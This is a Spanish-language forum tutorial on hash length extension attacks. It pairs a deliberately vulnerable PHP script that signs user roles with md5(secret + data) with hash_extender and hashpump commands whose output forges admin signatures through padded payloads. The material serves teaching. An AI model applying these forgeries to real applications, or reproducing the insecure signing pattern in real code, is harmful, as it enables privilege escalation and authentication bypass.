Ataque de extension de longitud

Iniciado por arthusu, Enero 15, 2019, 01:34:51 AM

Tema anterior - Siguiente tema

0 Miembros y 1 Visitante están viendo este tema.

Enero 15, 2019, 01:34:51 AM Ultima modificación: Enero 15, 2019, 02:30:25 AM por arthusu
¿Que es?

En criptografía y seguridad informática, un ataque de extensión de longitud es un tipo de ataque en el que un atacante puede usar el hash y la longitud del mensaje, para calcular el hash de un mensaje controlado por el atacante.

Código de ejemplo:

Código: php
<?php

$secret = md5('arthusu');

if(isset($_GET['user']))
{
echo md5($secret . ':user');
exit;
}

if(isset($_GET['admin']))
{
echo md5($secret . ':admin');
}

$signature = md5($secret . ':' . $_GET['type']);

if($signature == $_GET['sig'])
{
$data = explode(':', $_GET['type']);

if(end($data) == 'admin')
{
echo 'Tu eres administrador';
}
else
{
echo 'Tu eres un usuario';
}
}
else
{
echo 'Firma invalida';
}

?>




Uso:


?user - pedimos la firma para el usuario



?admin - pedimos la firma para el administrador


?sig=xxxx&type=user – donde sig es la firma obtenida y el type el tipo de usuario



En caso de que la palabra no coincida con la firma generada nos va mostrar un mensage un mensaje de error.



?sig=xxx&type=admin – nos muestra el usuario administrador

Explotación

Haremos uso de un script:

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta


Hash extender en este caso soporta los siguientes hashes para su explotación:

CRC32, MD5, SHA1, SHA256 y SHA512

Ahora identificamos el hash No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Introducimos el hash: 38f7e2f0c5eba427ed6b4b47f24814ea (en mi caso es este) y 0/GetImage%2B%25286%2529.png[/img]

Generamos una nueva firma

arthusu@SEGINF-RED03:/mnt/c/users/jaesoto/hash_extender$ ./hash_extender -f md5 -s 38f7e2f0c5eba427ed6b4b47f24814ea  --data 'user' --append ':admin' --secret-min=7 --secret-max=33 --out-data-format=html

Código: text


Type: md5

Secret length: 7

New signature: 12005b20185a5b3feb166cf9017ffa56

New string: user%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00X%00%00%00%00%00%00%00%3aadmin

 

Type: md5

Secret length: 8

New signature: 12005b20185a5b3feb166cf9017ffa56

New string: user%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%60%00%00%00%00%00%00%00%3aadmin

 

Type: md5

Secret length: 9

New signature: 12005b20185a5b3feb166cf9017ffa56

New string: user%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00h%00%00%00%00%00%00%00%3aadmin

 

Type: md5

Secret length: 10

New signature: 12005b20185a5b3feb166cf9017ffa56

New string: user%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00p%00%00%00%00%00%00%00%3aadmin

 

Type: md5

Secret length: 11

New signature: 12005b20185a5b3feb166cf9017ffa56

New string: user%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00x%00%00%00%00%00%00%00%3aadmin

 

Type: md5

Secret length: 12

New signature: 12005b20185a5b3feb166cf9017ffa56

New string: user%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%80%00%00%00%00%00%00%00%3aadmin

 

Type: md5

Secret length: 13

New signature: 12005b20185a5b3feb166cf9017ffa56

New string: user%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%88%00%00%00%00%00%00%00%3aadmin

 

Type: md5

Secret length: 14

New signature: 12005b20185a5b3feb166cf9017ffa56

New string: user%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%90%00%00%00%00%00%00%00%3aadmin

 

Type: md5

Secret length: 15

New signature: 12005b20185a5b3feb166cf9017ffa56

New string: user%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%98%00%00%00%00%00%00%00%3aadmin

 

Type: md5

Secret length: 16

New signature: 12005b20185a5b3feb166cf9017ffa56

New string: user%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%a0%00%00%00%00%00%00%00%3aadmin

 

Type: md5

Secret length: 17

New signature: 12005b20185a5b3feb166cf9017ffa56

New string: user%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%a8%00%00%00%00%00%00%00%3aadmin

 

Type: md5

Secret length: 18

New signature: 12005b20185a5b3feb166cf9017ffa56

New string: user%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%b0%00%00%00%00%00%00%00%3aadmin

 

Type: md5

Secret length: 19

New signature: 12005b20185a5b3feb166cf9017ffa56

New string: user%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%b8%00%00%00%00%00%00%00%3aadmin

 

Type: md5

Secret length: 20

New signature: 12005b20185a5b3feb166cf9017ffa56

New string: user%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%c0%00%00%00%00%00%00%00%3aadmin

 

Type: md5

Secret length: 21

New signature: 12005b20185a5b3feb166cf9017ffa56

New string: user%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%c8%00%00%00%00%00%00%00%3aadmin

 

Type: md5

Secret length: 22

New signature: 12005b20185a5b3feb166cf9017ffa56

New string: user%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%d0%00%00%00%00%00%00%00%3aadmin

 

Type: md5

Secret length: 23

New signature: 12005b20185a5b3feb166cf9017ffa56

New string: user%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%d8%00%00%00%00%00%00%00%3aadmin

 

Type: md5

Secret length: 24

New signature: 12005b20185a5b3feb166cf9017ffa56

New string: user%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%e0%00%00%00%00%00%00%00%3aadmin

 

Type: md5

Secret length: 25

New signature: 12005b20185a5b3feb166cf9017ffa56

New string: user%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%e8%00%00%00%00%00%00%00%3aadmin

 

Type: md5

Secret length: 26

New signature: 12005b20185a5b3feb166cf9017ffa56

New string: user%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%f0%00%00%00%00%00%00%00%3aadmin

 

Type: md5

Secret length: 27

New signature: 12005b20185a5b3feb166cf9017ffa56

New string: user%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%f8%00%00%00%00%00%00%00%3aadmin

 

Type: md5

Secret length: 28

New signature: 12005b20185a5b3feb166cf9017ffa56

New string: user%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%01%00%00%00%00%00%00%3aadmin

 

Type: md5

Secret length: 29

New signature: 12005b20185a5b3feb166cf9017ffa56

New string: user%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%08%01%00%00%00%00%00%00%3aadmin

 

Type: md5

Secret length: 30

New signature: 12005b20185a5b3feb166cf9017ffa56

New string: user%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%10%01%00%00%00%00%00%00%3aadmin

 

Type: md5

Secret length: 31

New signature: 12005b20185a5b3feb166cf9017ffa56

New string: user%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%18%01%00%00%00%00%00%00%3aadmin

 

Type: md5

Secret length: 32

New signature: 12005b20185a5b3feb166cf9017ffa56

New string: user%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00+%01%00%00%00%00%00%00%3aadmin

 

Type: md5

Secret length: 33

New signature: 12005b20185a5b3feb166cf9017ffa56

New string: user%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%28%01%00%00%00%00%00%00%3aadmin


Donde los parámetros son los siguientes:

-f xxx le indicamos el tipo de hash

-s xxxx le indicamos la firma que tenemos valida

--data 'xxx' le indicamos el dato conocido en este caso user

--append 'xxx' le indicamos el dato que queremos agregarle en este caso :admin con dos puntos por el explode en este caso 

--out-data-format=xxx le indicamos el formato de salida que le va dar

--secret-min=numero le indicamos un numero de tamaño para el secreto como minimo

--secret-max=numero le indicamos un numero de tamaño para el secreto como maximo



El secreto es en lo que se basa este ataque el tamaño del mismo como en este caso hipotéticamente no sabemos su tamaño (aunque si sabemos que la $signature tiene 32 caracteres el tamaño 😉 ) entonces generamos un rango en este caso del 7 al 33 y comenzamos a probar... 1 por 1.



Para realizar la prueba con hashpump lo hacemos de la siguiente manera:


arthusu@SEGINF-RED03:~$ hashpump

Código: text
Input Signature: 38f7e2f0c5eba427ed6b4b47f24814ea 

Input Data: :user

Input Key Length: 32

Input Data to Add: :admin

12005b20185a5b3feb166cf9017ffa56

:user\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00(\x01\x00\x00\x00\x00\x00\x00:admin


Como vemos ingresamos la firma con la comenzamos 38f7e2f0c5eba427ed6b4b47f24814ea

Después el dato con el que comenzamos user

Y el tamaño de la firma en este caso 32

Por ultimo el input agregar es :admin el cual esta en un explode por eso : sino fuera el caso no se agrega



Nos da una nueva firma: 12005b20185a5b3feb166cf9017ffa56

Y un payload: :user\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00(\x01\x00\x00\x00\x00\x00\x00:admin



El cual transformamos \x a % quedando asi: 


user%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00(%01%00%00%00%00%00%00:admin

Al ejecutar el payload nos da el resultado correcto.


Conclusión:


Estas vulnerabilidades existen realmente en las aplicaciones web, un ejemplo claro de ello lo podemos encontrar en: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Dudas y sugerencias pueden comentar, saludos

Referencia: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Pentest - Hacking & Security Services

Contact me: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta